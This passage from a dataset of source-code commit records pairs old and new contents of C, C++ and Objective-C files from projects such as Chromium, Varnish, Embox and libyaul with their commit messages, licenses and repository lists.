1,\n _end_grab_cb, NULL);\n }\n\n \n \n ecore_main_loop_begin();\n \n eina_module_free(m);\n \n ems_shutdown();\n \n return EXIT_SUCCESS;\n}","subject":"Add test program for easier grabber's tests","message":"Add test program for easier grabber's tests\n","lang":"C","license":"bsd-2-clause","repos":"raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server,raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,raoulh\/Enna-Media-Server,enna-project\/Enna-Media-Server,enna-project\/Enna-Media-Server"} {"commit":"e1559a5b92d6db3880f6226e03aed4f5cc1182e0","old_file":"src\/chip8.c","new_file":"src\/chip8.c","old_contents":"#include \n#include \"chip8.h\"\n\nchip8_t *\nchip8_new(void) {\n chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n \/* The first 512 bytes are used by the interpreter. *\/\n self->program_counter = 0x200;\n self->index_register = 0;\n self->stack_pointer = 0;\n self->opcode = 0;\n\n return self;\n}\n\nvoid\nchip8_free(chip8_t * self) {\n free(self);\n}\n","new_contents":"#include \n#include \"chip8.h\"\n\nchip8_t * chip8_new(void) {\n chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));\n\n \/* The first 512 bytes are used by the interpreter. *\/\n self->program_counter = 0x200;\n self->index_register = 0;\n self->stack_pointer = 0;\n self->opcode = 0;\n\n return self;\n}\n\nvoid chip8_free(chip8_t * self) {\n free(self);\n}\n","subject":"Define the functions on one line","message":"Define the functions on one line\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"} {"commit":"285e40c0f9b817f1618b095ee4429ae4724b94ee","old_file":"chrome\/common\/gfx\/favicon_size.h","new_file":"chrome\/common\/gfx\/favicon_size.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_COMMON_GFX_FAVICON_SIZE_H__\n#define CHROME_COMMON_GFX_FAVICON_SIZE_H__\n\n\/\/ Size (along each axis) of the favicon.\nconst int kFavIconSize = 16;\n\n\/\/ If the width or height is bigger than the favicon size, a new width\/height\n\/\/ is calculated and returned in width\/height that maintains the aspect\n\/\/ ratio of the supplied values.\nstatic void calc_favicon_target_size(int* width, int* height) {\n if (*width > kFavIconSize || *height > kFavIconSize) {\n \/\/ Too big, resize it maintaining the aspect ratio.\n float aspect_ratio = static_cast(*width) \/\n static_cast(*height);\n *height = kFavIconSize;\n *width = static_cast(aspect_ratio * *height);\n if (*width > kFavIconSize) {\n *width = kFavIconSize;\n *height = static_cast(*width \/ aspect_ratio);\n }\n }\n}\n\n#endif \/\/ CHROME_COMMON_GFX_FAVICON_SIZE_H__\n\n","new_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_COMMON_GFX_FAVICON_SIZE_H__\n#define CHROME_COMMON_GFX_FAVICON_SIZE_H__\n\n#include \"build\/build_config.h\"\n\n\/\/ Size (along each axis) of the favicon.\nconst int kFavIconSize = 16;\n\n#if !defined(OS_LINUX)\n\/\/ GCC 4.2 complains that this function is not used, and currently\n\/\/ it's not used by any file compiled on Linux. GCC 4.3 does not complain.\n\n\/\/ If the width or height is bigger than the favicon size, a new width\/height\n\/\/ is calculated and returned in width\/height that maintains the aspect\n\/\/ ratio of the supplied values.\nstatic void calc_favicon_target_size(int* width, int* height) {\n if (*width > kFavIconSize || *height > kFavIconSize) {\n \/\/ Too big, resize it maintaining the aspect ratio.\n float aspect_ratio = static_cast(*width) \/\n static_cast(*height);\n *height = kFavIconSize;\n *width = static_cast(aspect_ratio * *height);\n if (*width > kFavIconSize) {\n *width = kFavIconSize;\n *height = static_cast(*width \/ aspect_ratio);\n }\n }\n}\n\n#endif \/\/ !defined(OS_LINUX)\n\n#endif \/\/ CHROME_COMMON_GFX_FAVICON_SIZE_H__\n\n","subject":"Fix Linux build failure caused by GCC 4.3\/4.2 differences. Review URL: http:\/\/codereview.chromium.org\/14481","message":"Fix Linux build failure caused by GCC 4.3\/4.2 differences.\nReview URL: http:\/\/codereview.chromium.org\/14481\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@7083 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"} {"commit":"8f6c32d4d8124bd58caf7886dda3032641416ded","old_file":"CCMessageWindow\/Utils.h","new_file":"CCMessageWindow\/Utils.h","old_contents":"#ifndef StringUtils_h\n#define StringUtils_h\n\n#include \n#include \n\nnamespace CCMessageWindow {\n class Utils {\n public:\n static std::string substringUTF8(const char* str, int from, int length);\n static std::vector split(const std::string& input, char delimiter);\n static std::string replace(std::string base, std::string src, std::string dst);\n };\n}\n\n#endif \/* StringUtils_hpp *\/\n","new_contents":"#ifndef StringUtils_h\n#define StringUtils_h\n\n#include \"cocos2d.h\"\n\nnamespace CCMessageWindow {\n class Utils {\n public:\n static std::string substringUTF8(const char* str, int from, int length);\n static std::vector split(const std::string& input, char delimiter);\n static std::string replace(std::string base, std::string src, std::string dst);\n };\n}\n\n#endif \/* StringUtils_hpp *\/\n","subject":"Fix build error on Android","message":"Fix build error on Android\n","lang":"C","license":"mit","repos":"giginet\/CCMessageWindow,giginet\/CCMessageWindow"} {"commit":"1a848c2eb37fc488b610ad36f562c705594b7e00","old_file":"UICountingLabel.h","new_file":"UICountingLabel.h","old_contents":"#import \n#import \n\ntypedef enum {\n UILabelCountingMethodEaseInOut,\n UILabelCountingMethodEaseIn,\n UILabelCountingMethodEaseOut,\n UILabelCountingMethodLinear\n} UILabelCountingMethod;\n\ntypedef NSString* (^UICountingLabelFormatBlock)(float value);\ntypedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);\n\n@interface UICountingLabel : UILabel\n\n@property (nonatomic, strong) NSString *format;\n@property (nonatomic, assign) UILabelCountingMethod method;\n@property (nonatomic, assign) NSTimeInterval animationDuration;\n\n@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;\n@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;\n@property (nonatomic, copy) void (^completionBlock)();\n\n-(void)countFrom:(float)startValue to:(float)endValue;\n-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromCurrentValueTo:(float)endValue;\n-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromZeroTo:(float)endValue;\n-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n- (CGFloat)currentValue;\n\n@end\n\n","new_contents":"#import \n#import \n\ntypedef NS_ENUM(NSInteger, UILabelCountingMethod) {\n UILabelCountingMethodEaseInOut,\n UILabelCountingMethodEaseIn,\n UILabelCountingMethodEaseOut,\n UILabelCountingMethodLinear\n};\n\ntypedef NSString* (^UICountingLabelFormatBlock)(float value);\ntypedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);\n\n@interface UICountingLabel : UILabel\n\n@property (nonatomic, strong) NSString *format;\n@property (nonatomic, assign) UILabelCountingMethod method;\n@property (nonatomic, assign) NSTimeInterval animationDuration;\n\n@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;\n@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;\n@property (nonatomic, copy) void (^completionBlock)();\n\n-(void)countFrom:(float)startValue to:(float)endValue;\n-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromCurrentValueTo:(float)endValue;\n-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromZeroTo:(float)endValue;\n-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n- (CGFloat)currentValue;\n\n@end\n\n","subject":"Use NS_ENUM instead of enum makes more clear","message":"Use NS_ENUM instead of enum makes more clear\n","lang":"C","license":"mit","repos":"AlexanderMazaletskiy\/UICountingLabel,HarrisLee\/UICountingLabel,jesseclay\/UICountingLabel,flovilmart\/UICountingLabel,kalsariyac\/UICountingLabel,ElaWorkshop\/UICountingLabel,Bogon\/UICountingLabel,dataxpress\/UICountingLabel"} {"commit":"4dc9c4567301f2481b12965bdcf02a7281963b61","old_file":"tests\/utils\/core-utils.h","new_file":"tests\/utils\/core-utils.h","old_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include \n#include \n\nnamespace MaliitTestUtils {\n\n bool isTestingInSandbox();\n QString getTestPluginPath();\n QString getTestDataPath();\n void waitForSignal(const QObject* object, const char* signal, int timeout);\n void waitAndProcessEvents(int waitTime);\n}\n\n#endif \/\/ CORE_UTILS_H__\n","new_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include \n#include \n\n#include \"abstractsurfacegroup.h\"\n#include \"abstractsurfacegroupfactory.h\"\n\nnamespace MaliitTestUtils {\n\n bool isTestingInSandbox();\n QString getTestPluginPath();\n QString getTestDataPath();\n void waitForSignal(const QObject* object, const char* signal, int timeout);\n void waitAndProcessEvents(int waitTime);\n\n class TestSurfaceGroup : public Maliit::Server::AbstractSurfaceGroup {\n public:\n TestSurfaceGroup() {}\n\n Maliit::Plugins::AbstractSurfaceFactory *factory() { return 0; }\n\n void activate() {}\n void deactivate() {}\n\n void setRotation(Maliit::OrientationAngle) {}\n };\n\n class TestSurfaceGroupFactory : public Maliit::Server::AbstractSurfaceGroupFactory {\n public:\n TestSurfaceGroupFactory() {}\n\n QSharedPointer createSurfaceGroup()\n {\n return QSharedPointer(new TestSurfaceGroup);\n }\n };\n}\n\n#endif \/\/ CORE_UTILS_H__\n","subject":"Add surface server side implementation for tests","message":"Add surface server side implementation for tests\n\nAdd a TestSurfaceGroup and TestSurfaceGroupFactory class for tests.\n\nRevBy: TrustMe.\n","lang":"C","license":"lgpl-2.1","repos":"binlaten\/framework,RHawkeyed\/framework,jpetersen\/framework,Elleo\/framework,jpetersen\/framework,RHawkeyed\/framework,Elleo\/framework"} {"commit":"a2a4eaa93d4a34930006126154be25f5543182c7","old_file":"CONFIG\/nlp_exception.h","new_file":"CONFIG\/nlp_exception.h","old_contents":"","new_contents":"\/**\n * nlp_exception.h\n * Copyright (C) 2015 Tony Lim \n *\n * Distributed under terms of the MIT license.\n *\/\n\n#ifndef NLP_EXCEPTION_H\n#define NLP_EXCEPTION_H\n#include \n\nusing namespace std;\n\nnamespace NLP\n{\n class unimplemented_exc: public exception\n {\n virtual const char* what() const throw()\n {\n return \"Unimplemented error.\";\n }\n };\n} \/* NLP *\/\n\n\n#endif \/* !NLP_EXCEPTION_H *\/\n","subject":"Add global exception functions to CONFIG","message":"Add global exception functions to CONFIG\n","lang":"C","license":"mit","repos":"NLP\/NLP"} {"commit":"58b0ea89c2924cdc910608a606a6b40dde8b4cc6","old_file":"skia\/ext\/platform_device.h","new_file":"skia\/ext\/platform_device.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Declare a platform-neutral name for this platform's device class\n\/\/ that can be used by upper-level classes that just need to pass a reference\n\/\/ around.\n\n#if defined(WIN32)\n#include \"PlatformDeviceWin.h\"\n#elif defined(__APPLE__)\n#include \"PlatformDeviceMac.h\"\n#elif defined(__linux__)\n#include \"PlatformDeviceLinux.h\"\n#endif\n\nnamespace gfx {\n\n#if defined(WIN32)\ntypedef PlatformDeviceWin PlatformDevice;\n#elif defined(__APPLE__)\ntypedef PlatformDeviceMac PlatformDevice;\n#elif defined(__linux__)\ntypedef PlatformDeviceLinux PlatformDevice;\n#endif\n\n} \/\/ namespace gfx\n","new_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Declare a platform-neutral name for this platform's device class\n\/\/ that can be used by upper-level classes that just need to pass a reference\n\/\/ around.\n\n#if defined(WIN32)\n#include \"skia\/ext\/platform_device_win.h\"\n#elif defined(__APPLE__)\n#include \"skia\/ext\/platform_device_mac.h\"\n#elif defined(__linux__)\n#include \"skia\/ext\/platform_device_linux.h\"\n#endif\n\nnamespace gfx {\n\n#if defined(WIN32)\ntypedef PlatformDeviceWin PlatformDevice;\n#elif defined(__APPLE__)\ntypedef PlatformDeviceMac PlatformDevice;\n#elif defined(__linux__)\ntypedef PlatformDeviceLinux PlatformDevice;\n#endif\n\n} \/\/ namespace gfx\n","subject":"Fix header names. Review URL: http:\/\/codereview.chromium.org\/11375","message":"Fix header names.\nReview URL: http:\/\/codereview.chromium.org\/11375\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@5875 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: e57070133d8b8eef0f371bc379481b54d897f0f5","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"} {"commit":"15ddd7987b08b24d572ad3c767fd477dfc5a3bd7","old_file":"inc\/m_types.h","new_file":"inc\/m_types.h","old_contents":"\/*********************************** LICENSE **********************************\\\n* Copyright 2017 Morphux *\n* *\n* Licensed under the Apache License, Version 2.0 (the \"License\"); *\n* you may not use this file except in compliance with the License. *\n* You may obtain a copy of the License at *\n* *\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\n* *\n* Unless required by applicable law or agreed to in writing, software *\n* distributed under the License is distributed on an \"AS IS\" BASIS, *\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n* See the License for the specific language governing permissions and *\n* limitations under the License. *\n\\******************************************************************************\/\n\n#ifndef M_TYPES_H\n# define M_TYPES_H\n\n\/* Generic types *\/\n\ntypedef signed char\t\t\ts8_t;\ntypedef signed short\t\ts16_t;\ntypedef signed int\t\t\ts32_t;\ntypedef signed long long\ts64_t;\n\ntypedef unsigned char\t\tu8_t;\ntypedef unsigned short\t\tu16_t;\ntypedef unsigned int\t\tu32_t;\ntypedef unsigned long long\tu64_t;\n\n#endif \/* M_TYPES_H *\/\n","new_contents":"\/*********************************** LICENSE **********************************\\\n* Copyright 2017 Morphux *\n* *\n* Licensed under the Apache License, Version 2.0 (the \"License\"); *\n* you may not use this file except in compliance with the License. *\n* You may obtain a copy of the License at *\n* *\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\n* *\n* Unless required by applicable law or agreed to in writing, software *\n* distributed under the License is distributed on an \"AS IS\" BASIS, *\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n* See the License for the specific language governing permissions and *\n* limitations under the License. *\n\\******************************************************************************\/\n\n#ifndef M_TYPES_H\n# define M_TYPES_H\n\n\/* Generic types *\/\n\ntypedef signed char s8_t;\ntypedef signed short s16_t;\ntypedef signed int s32_t;\ntypedef signed long long s64_t;\n\ntypedef unsigned char u8_t;\ntypedef unsigned short u16_t;\ntypedef unsigned int u32_t;\ntypedef unsigned long long u64_t;\n\n#endif \/* M_TYPES_H *\/\n","subject":"Fix comment style in mtypes","message":"Fix(Comment): Fix comment style in mtypes\n","lang":"C","license":"apache-2.0","repos":"Morphux\/lib,Morphux\/lib"} {"commit":"bcd0f03a33b360f54b0223e64bd5dae90d3a0e2c","old_file":"include\/lambdacommon\/document\/document.h","new_file":"include\/lambdacommon\/document\/document.h","old_contents":"\/*\n * Copyright © 2017 AperLambda \n *\n * This file is part of λcommon.\n *\n * Licensed under the MIT license. For more information,\n * see the LICENSE file.\n *\/\n\n#ifndef LAMBDACOMMON_DOCUMENT_H\n#define LAMBDACOMMON_DOCUMENT_H\n\n#include \"..\/lambdacommon.h\"\n#include \n\nnamespace lambdacommon\n{\n class LAMBDACOMMON_API Content\n {};\n\n class LAMBDACOMMON_API Document\n {};\n}\n\n#endif \/\/LAMBDACOMMON_DOCUMENT_H","new_contents":"\/*\n * Copyright © 2017 AperLambda \n *\n * This file is part of λcommon.\n *\n * Licensed under the MIT license. For more information,\n * see the LICENSE file.\n *\/\n\n#ifndef LAMBDACOMMON_DOCUMENT_H\n#define LAMBDACOMMON_DOCUMENT_H\n\n#include \"..\/lambdacommon.h\"\n#include \n\nnamespace lambdacommon\n{\n class LAMBDACOMMON_API Element\n {};\n\n class LAMBDACOMMON_API Document\n {};\n}\n\n#endif \/\/LAMBDACOMMON_DOCUMENT_H","subject":"Change the Content class to the Element class","message":":floppy_disk: Change the Content class to the Element class\n","lang":"C","license":"mit","repos":"AperEntertainment\/AperCommon,AperEntertainment\/AperCommon"} {"commit":"56165c0f2c2978fe33730fae100183291c828361","old_file":"src\/example\/kernel\/thread\/event_thread.c","new_file":"src\/example\/kernel\/thread\/event_thread.c","old_contents":"","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @date 15.01.2013\n * @author Lapshin Alexander\n *\/\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n\/**\n * This macro is used to register this example at the system.\n *\/\nEMBOX_EXAMPLE(run);\n\n\/** The thread handler function*\/\nstatic void *thread_run(void *arg) {\n\tstruct event *event = (struct event *)arg;\n\t\/**waiting until event receives *\/\n\tprintf(\"waiting for event's notifying...\\n\");\n\tevent_wait(event, SCHED_TIMEOUT_INFINITE);\n\tprintf(\"event has been received.\\n\");\n\treturn 0;\n}\n\nstatic int run(int argc, char **argv) {\n\tstruct event sync_event;\n\tstruct thread *thread;\n\n\tevent_init(&sync_event, \"sync_event\");\n\tthread_create(&thread, 0, thread_run, &sync_event);\n\t\/**need some delay here\n\t * because thread should have time to sleep\n\t * within \"event_wait\" till invoking\n\t * \"event_notify\" function.\n\t *\/\n\tsleep(1);\n\tevent_notify(&sync_event);\n\tthread_join(thread, NULL);\n\n\treturn ENOERR;\n}\n\n","subject":"Add example for working threads and events","message":"Add example for working threads and events","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,vrxfile\/embox-trik,embox\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,Kakadu\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,abusalimov\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox"} {"commit":"b00e6535be25fca1e9775951bd09542fdb88ce7d","old_file":"libyaul\/common\/internal_exception_show.c","new_file":"libyaul\/common\/internal_exception_show.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez \n *\/\n\n#include \n\n#include \n#include \n#include \n#include \n\n#include \n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n \/* Reset the VDP1 *\/\n vdp1_init();\n\n \/* Reset the VDP2 *\/\n vdp2_init();\n vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n TVMD_VERT_224);\n vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n COLOR_RGB555(0, 7, 0));\n vdp2_tvmd_display_set();\n\n cons_init(CONS_DRIVER_VDP2, 40, 28);\n cons_buffer(buffer);\n\n vdp2_tvmd_vblank_out_wait();\n vdp2_tvmd_vblank_in_wait();\n vdp2_commit();\n cons_flush();\n\n abort();\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez \n *\/\n\n#include \n\n#include \n#include \n#include \n#include \n\n#include \n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n \/* Reset the VDP1 *\/\n vdp1_init();\n\n \/* Reset the VDP2 *\/\n vdp2_init();\n vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n TVMD_VERT_224);\n vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n COLOR_RGB555(0, 7, 0));\n\n \/* Set sprite to type 0 and set its priority to 0 (invisible) *\/\n vdp2_sprite_type_set(0);\n vdp2_sprite_priority_set(0, 0);\n\n vdp2_tvmd_display_set();\n\n cons_init(CONS_DRIVER_VDP2, 40, 28);\n cons_buffer(buffer);\n\n vdp2_tvmd_vblank_out_wait();\n vdp2_tvmd_vblank_in_wait();\n vdp2_commit();\n cons_flush();\n\n abort();\n}\n","subject":"Hide VDP1 even if FB hasn't been erased and changed","message":"Hide VDP1 even if FB hasn't been erased and changed\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"} {"commit":"daf316853fbbefff03f245754986d9b209eaf3de","old_file":"bin\/varnishd\/varnishd.c","new_file":"bin\/varnishd\/varnishd.c","old_contents":"\/*\n * $Id$\n *\/\n\n#include \n#include \n#include \n#include \n\nstatic void\nusage(void)\n{\n\tfprintf(stderr, \"usage: varnishd\\n\");\n\texit(1);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\tint o;\n\n\twhile ((o = getopt(argc, argv, \"\")) != -1)\n\t\tswitch (o) {\n\t\tdefault:\n\t\t\tusage();\n\t\t}\n\n\targc -= optind;\n\targv += optind;\n\n\tif (argc != 0)\n\t\tusage();\n\n\texit(0);\n}\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include \n#include \n#include \n#include \n\nstatic void\nusage(void)\n{\n\tfprintf(stderr, \"usage: varnishd [options]\\n\");\n\tfprintf(stderr, \" %-20s # %s\\n\", \"-d\", \"debug\");\n\tfprintf(stderr, \" %-20s # %s\\n\", \"-p number\", \"TCP listen port\");\n#if 0\n\t-c clusterid@cluster_controller\n\t-f config_file\n\t-m memory_limit\n\t-s kind[,storage-options]\n\t-l logfile,logsize\n\t-b backend ip...\n\t-u uid\n\t-a CLI_port\n#endif\n\texit(1);\n}\n\nint\nmain(int argc, char *argv[])\n{\n\tint o;\n\tunsigned portnumber = 8080;\n\tunsigned dflag = 1;\t\/* XXX: debug=on for now *\/\n\n\twhile ((o = getopt(argc, argv, \"dp:\")) != -1)\n\t\tswitch (o) {\n\t\tcase 'd':\n\t\t\tdflag++;\n\t\t\tbreak;\n\t\tcase 'p':\n\t\t\tportnumber = strtoul(optarg, NULL, 0);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tusage();\n\t\t}\n\n\targc -= optind;\n\targv += optind;\n\n\tif (argc != 0)\n\t\tusage();\n\n\texit(0);\n}\n","subject":"Add some trivial bits while I think about the hard ones","message":"Add some trivial bits while I think about the hard ones\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@48 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"drwilco\/varnish-cache-old,mrhmouse\/Varnish-Cache,1HLtd\/Varnish-Cache,feld\/Varnish-Cache,mrhmouse\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,franciscovg\/Varnish-Cache,varnish\/Varnish-Cache,varnish\/Varnish-Cache,alarky\/varnish-cache-doc-ja,wikimedia\/operations-debs-varnish,mrhmouse\/Varnish-Cache,wikimedia\/operations-debs-varnish,gauthier-delacroix\/Varnish-Cache,zhoualbeart\/Varnish-Cache,wikimedia\/operations-debs-varnish,gquintard\/Varnish-Cache,drwilco\/varnish-cache-drwilco,drwilco\/varnish-cache-drwilco,varnish\/Varnish-Cache,feld\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,alarky\/varnish-cache-doc-ja,varnish\/Varnish-Cache,drwilco\/varnish-cache-old,feld\/Varnish-Cache,franciscovg\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,chrismoulton\/Varnish-Cache,feld\/Varnish-Cache,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish,ajasty-cavium\/Varnish-Cache,ssm\/pkg-varnish,zhoualbeart\/Varnish-Cache,mrhmouse\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,alarky\/varnish-cache-doc-ja,drwilco\/varnish-cache-drwilco,ambernetas\/varnish-cache,mrhmouse\/Varnish-Cache,chrismoulton\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish,alarky\/varnish-cache-doc-ja,ssm\/pkg-varnish,ajasty-cavium\/Varnish-Cache,zhoualbeart\/Varnish-Cache,1HLtd\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,1HLtd\/Varnish-Cache,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,varnish\/Varnish-Cache,zhoualbeart\/Varnish-Cache,gquintard\/Varnish-Cache,feld\/Varnish-Cache,ambernetas\/varnish-cache,gquintard\/Varnish-Cache,chrismoulton\/Varnish-Cache,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-old,franciscovg\/Varnish-Cache,1HLtd\/Varnish-Cache,ambernetas\/varnish-cache,ssm\/pkg-varnish,ajasty-cavium\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,gquintard\/Varnish-Cache,ajasty-cavium\/Varnish-Cache"} {"commit":"61eadb0255925c8ad74710c0694ac7d9639b3c30","old_file":"test\/CFrontend\/2002-11-07-Redefinition.c","new_file":"test\/CFrontend\/2002-11-07-Redefinition.c","old_contents":"","new_contents":"\/* Provide Declarations *\/\n\n#ifndef NULL\n#define NULL 0\n#endif\n\n#ifndef __cplusplus\ntypedef unsigned char bool;\n#endif\n\n\n\/* Support for floating point constants *\/\ntypedef unsigned long long ConstantDoubleTy;\ntypedef unsigned int ConstantFloatTy;\n\n\n\/* Global Declarations *\/\n\n\/* External Global Variable Declarations *\/\n\n\/* Function Declarations *\/\nvoid __main();\nint printf(signed char *, ...);\nvoid testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D);\nvoid main();\n\n\/* Malloc to make sun happy *\/\nextern void * malloc(size_t);\n\n\n\n\/* Global Variable Declerations *\/\nextern signed char l27_d_LC0[26];\n\n\n\/* Global Variable Definitions and Initialization *\/\nstatic signed char l27_d_LC0[26] = \"%d, %f, %d, %lld, %d, %f\\n\";\n\n\n\/* Function Bodies *\/\nvoid testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D) {\n int l7_reg226;\n\n\n l7_reg226 = printf((&(l27_d_LC0[0ll])), ((unsigned )l5_s), ((double )l11_X), ((unsigned )l3_C), l9_LL, l7_I, l12_D);\n return;\n}\n\nvoid main() {\n\n const ConstantFloatTy FloatConstant0 = 0x3f9f5c29; \/* 1.245 *\/\n const ConstantDoubleTy FloatConstant1 = 0x432ff973cafa8000; \/* 4.5e+15 *\/\n\n __main();\n testfunc(12, (*(float*)&FloatConstant0), 120, 123456677890ll, -10, (*(double*)&FloatConstant1));\n return;\n}\n\n","subject":"Check in an old testcase","message":"Check in an old testcase\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4951 